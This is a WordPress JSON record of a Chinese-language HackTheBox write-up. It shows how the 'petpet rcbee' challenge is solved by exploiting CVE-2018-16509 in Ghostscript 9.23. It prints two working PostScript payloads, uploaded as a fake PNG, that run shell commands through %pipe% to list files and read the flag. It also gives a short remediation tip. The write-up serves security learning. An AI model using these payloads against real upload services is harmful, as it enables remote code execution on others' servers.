{"id":1080,"date":"2023-12-26T22:08:50","date_gmt":"2023-12-26T14:08:50","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1080"},"modified":"2024-03-16T00:49:08","modified_gmt":"2024-03-15T16:49:08","slug":"htb-petpet-rcbee","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1080","title":{"rendered":"HTB petpet rcbee"},"content":{"rendered":"<figure style=\"aspect-ratio:16\/9;\" class=\"wp-block-post-featured-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/wp.fifu.app\/systw.net\/aHR0cHM6Ly9pLmltZ3VyLmNvbS9UVnhsWFV5LmpwZw\/6c93f9aaac5d\/htb-petpet-rcbee.webp?w=1024&amp;h=1024&amp;c=0&amp;p=1080\" class=\"attachment-post-thumbnail size-post-thumbnail wp-post-image\" alt=\"HTB petpet rcbee\" title=\"HTB petpet rcbee\" style=\"width:100%;height:100%;object-fit:cover;\" \/><\/figure>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u76ee\u6a19\u8aaa\u660e<\/h3>\n\n\n\n<p>hackthebox\u4e0a\u7684web\u9776\u6a5f\uff0c\u540d\u7a31\u70ba<code>petpet rcbee<\/code>\uff0c\u60c5\u5883\u662f\u4e0a\u50b3\u529f\u80fd<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u98a8\u96aa<\/h3>\n\n\n\n<p>\u6b64\u76ee\u6a19\u767c\u73fe1\u500b\u5b89\u5168\u98a8\u96aa<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u8a72\u76ee\u6a19\u4f7f\u7528ghostscript-9.23\u6709RCE\u5b89\u5168\u6f0f\u6d1eCVE-2018-16509<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u512a\u5316\u5efa\u8b70&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c0d\u5404\u7a2e\u4f7f\u7528\u7684\u4f9d\u8cf4\u5305\u7248\u672c\u505a\u6aa2\u67e5\uff0c\u78ba\u4fdd\u6c92\u6709\u5df1\u5b89\u5168\u6f0f\u6d1e<\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u624b\u6cd5<\/h2>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5728dockfile\u767c\u73feghostscript-9.23,\u9019\u6709\u5b89\u5168\u6f0f\u6d1eCVE-2018-16509<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Install Pillow component\nRUN curl -L -O https:\/\/github.com\/ArtifexSoftware\/ghostpdl-downloads\/releases\/download\/gs923\/ghostscript-9.23-linux-x86_64.tgz \\\n&nbsp; &nbsp; &amp;&amp; tar -xzf ghostscript-9.23-linux-x86_64.tgz \\\n&nbsp; &nbsp; &amp;&amp; mv ghostscript-9.23-linux-x86_64\/gs-923-linux-x86_64 \/usr\/local\/bin\/gs &amp;&amp; rm -rf \/tmp\/ghost*<\/code><\/pre>\n\n\n\n<p>\u8a72\u6f0f\u6d1e\u7684\u653b\u64ca\u8173\u672c\u53ef\u53c3\u8003<a href=\"https:\/\/github.com\/farisv\/PIL-RCE-Ghostscript-CVE-2018-16509\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/farisv\/PIL-RCE-Ghostscript-CVE-2018-16509<\/a><\/p>\n\n\n\n<p>\u6839\u64da\u6f0f\u6d1e\u7684\u8aaa\u660e\uff0c\u53ef\u4ee5\u57f7\u884c\u4efb\u610f\u6307\u4ee4\uff0e\u800c\u4e14\u900f\u904e\u4ee3\u78bcutil.py\u548cconfig.py\u7684\u5206\u6790\uff0c\u767c\u73fe\/app\/application\/static\/petpets\u76ee\u9304\u53ef\u4ee5\u5b58\u53d6\uff0c\u56e0\u6b64\u53ef\u4ee5\u628a\u8f38\u51fa\u7d50\u679c\u5b58\u5728\u6b64\u8655<\/p>\n\n\n\n<p>\u5c07\u653b\u64ca\u8173\u672c\u6539\u70ba\u4ee5\u4e0b\uff0c\u4e26\u6539\u540d\u70batest.png\u5f8c\u4e0a\u50b3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: -0 -0 100 100\n\n\nuserdict \/setpagedevice undef\nsave\nlegal\n{ null restore } stopped { pop } if\n{ legal } stopped { pop } if\nrestore\nmark \/OutputFile (%pipe%ls &gt; \/app\/application\/static\/petpets\/pwn.txt) currentdevice putdeviceprops<\/code><\/pre>\n\n\n\n<p>\u4ee5\u4e0atest.png\u4e0a\u50b3\u5f8c\u5c07\u57f7\u884c<code>ls &gt; \/app\/application\/static\/petpets\/pwn.txt<\/code><\/p>\n\n\n\n<p>\u958b\u555fhttp:\/\/target ip:port\/static\/petpets\/pwn.txt \u5c31\u53ef\u4ee5\u770b\u5230ls\u5167\u5bb9<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u70ba\u4e86\u986f\u793aflag,\u8abf\u6574\u653b\u64ca\u4ee3\u78bc\u5982\u4e0b\uff0c\u4e26\u6539\u540d\u70batest.png\u5f8c\u5728\u4e0a\u50b3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: -0 -0 100 100\n\nuserdict \/setpagedevice undef\nsave\nlegal\n{ null restore } stopped { pop } if\n{ legal } stopped { pop } if\nrestore\nmark \/OutputFile (%pipe%cat flag &gt; \/app\/application\/static\/petpets\/pwn.txt) currentdevice putdeviceprops<\/code><\/pre>\n\n\n\n<p>\u4e0atest.png\u4e0a\u50b3\u5f8c\u5c07\u57f7\u884c<code>cat flag &gt; \/app\/application\/static\/petpets\/pwn.txt<\/code><\/p>\n\n\n\n<p>\u958b\u555fhttp:\/\/target ip:port\/static\/petpets\/pwn.txt \u5c31\u53ef\u4ee5\u770b\u5230flag\u5167\u5bb9<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u88dc\u5145\u8aaa\u660e<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">CVE-2018-16509<\/h3>\n\n\n\n<p>Ghostscript \u662f\u5f88\u5e38\u88ab\u4f7f\u7528\u7684 PostScript \u8a9e\u8a00\u548c PDF \u6587\u4ef6\u7684\u958b\u6e90\u7de8\u8b6f\u5668\uff0c\u53ef\u4ee5\u6aa2\u8996\u53ca\u5217\u5370 PS\u3001EPS\u3001PDF \u6587\u4ef6\u3002GhostScript \u4e5f\u88ab\u8a31\u591a\u5716\u7247\u8655\u7406\u5eab\u6240\u4f7f\u7528\uff0c\u5982 ImageMagick\u3001Python PIL \u7b49\uff0c\u9810\u8a2d\u9019\u4e9b\u5eab\u6703\u6839\u64da\u5716\u7247\u7684\u5167\u5bb9\u5c07\u5176\u5206\u767c\u7d66\u4e0d\u540c\u7684\u8655\u7406\u65b9\u6cd5\uff0c\u5176\u4e2d\u5c31\u5305\u62ec GhostScript\u3002<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u6210\u56e0\uff1a<br>\u5728\u8655\u7406\/invalidaccess\u7570\u5e38\u6642\uff0c\u7a0b\u5f0f\u6c92\u6709\u6b63\u78ba\u7684\u5075\u6e2crestoration of privilege\u3002\u653b\u64ca\u8005\u53ef\u900f\u904e\u63d0\u4ea4\u7279\u88fd\u7684PostScript\u5229\u7528\u8a72\u6f0f\u6d1e\u57f7\u884c\u7a0b\u5f0f\u78bc\u3002<\/p>\n\n\n\n<p>\u5f71\u97ff\u7bc4\u570d\uff1a<br>Ghostscript 9.24\u4e4b\u524d\u7248\u672c<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5206\u6790\u4f9d\u8cf4\u5305\u767c\u73feRCE\u6f0f\u6d1e,\u4e26\u4f7f\u7528\u8a72\u6f0f\u6d1e\u53d6\u5f97flag<\/p>\n","protected":false},"author":1,"featured_media":1345,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/i.imgur.com\/TVxlXUy.jpg","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[27],"tags":[44,45],"class_list":["post-1080","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackerskill","tag-cve","tag-upload"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/i.imgur.com\/TVxlXUy.jpg?fit=1024%2C1024&ssl=1","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1080","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1080"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1080\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media\/1345"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}